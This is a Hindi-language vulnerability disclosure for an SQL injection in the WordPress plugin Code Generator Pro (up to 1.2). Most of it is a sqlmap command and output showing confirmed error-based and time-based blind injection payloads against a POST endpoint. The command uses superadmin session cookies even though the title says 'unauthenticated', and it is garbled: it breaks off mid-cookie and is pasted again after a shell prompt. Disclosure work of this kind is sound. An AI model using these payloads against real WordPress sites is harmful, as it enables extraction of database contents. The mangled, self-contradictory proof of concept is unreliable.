
Code Generator Pro <= 1.2 - अप्रमाणीकृत SQL इंजेक्शन
Code Generator Pro <= 1.2 - बिना प्रमाणीकरण के SQL इंजेक्शन
WordPress के लिए Code Generator Pro प्लगइन, संस्करण 1.2 तक (1.2 सहित), उपयोगकर्ता द्वारा आपूर्ति किए गए पैरामीटर पर अपर्याप्त एस्केपिंग और मौजूदा SQL क्वेरी में पर्याप्त तैयारी की कमी के कारण SQL इंजेक्शन के प्रति संवेदनशील है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए मौजूदा क्वेरी में अतिरिक्त SQL क्वेरी जोड़ना संभव बनाता है, जिसका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।
POC प्रमाणित है, लेकिन मुझे लगता है कि एक अलग एंडपॉइंट असुरक्षित होगा। संदेह code-generator-pro/style.php पर है, लेकिन मेरे पास कुछ भी सेट करने का समय नहीं था।
sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%(base) Roberts-MBP:~ rwiggins$ python3 /Users/rwiggins/tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0;user_age_data=YWdlX3ZlcmlmaWNhdGlvbl9wbHVnaW4=;wordpress_test_cookie=WP%20Cookie%20check;sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F;wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C7c28d70808d0a70bb28aeca97ec259a3f3b0aeb7cc0c4e535576999fd5dba9d1'
sqlmap identified the following injection point(s) with a total of 1490 HTTP(s) requests:
---
Parameter: Array-like #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: code_generator_add_code_code=test'||(SELECT 0x55704c57 WHERE 1247=1247 AND (SELECT 7738 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT (ELT(7738=7738,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: code_generator_add_code_code=test'||(SELECT 0x52696578 WHERE 7877=7877 AND (SELECT 8438 FROM (SELECT(SLEEP(5)))DAxL))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
---
[13:24:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)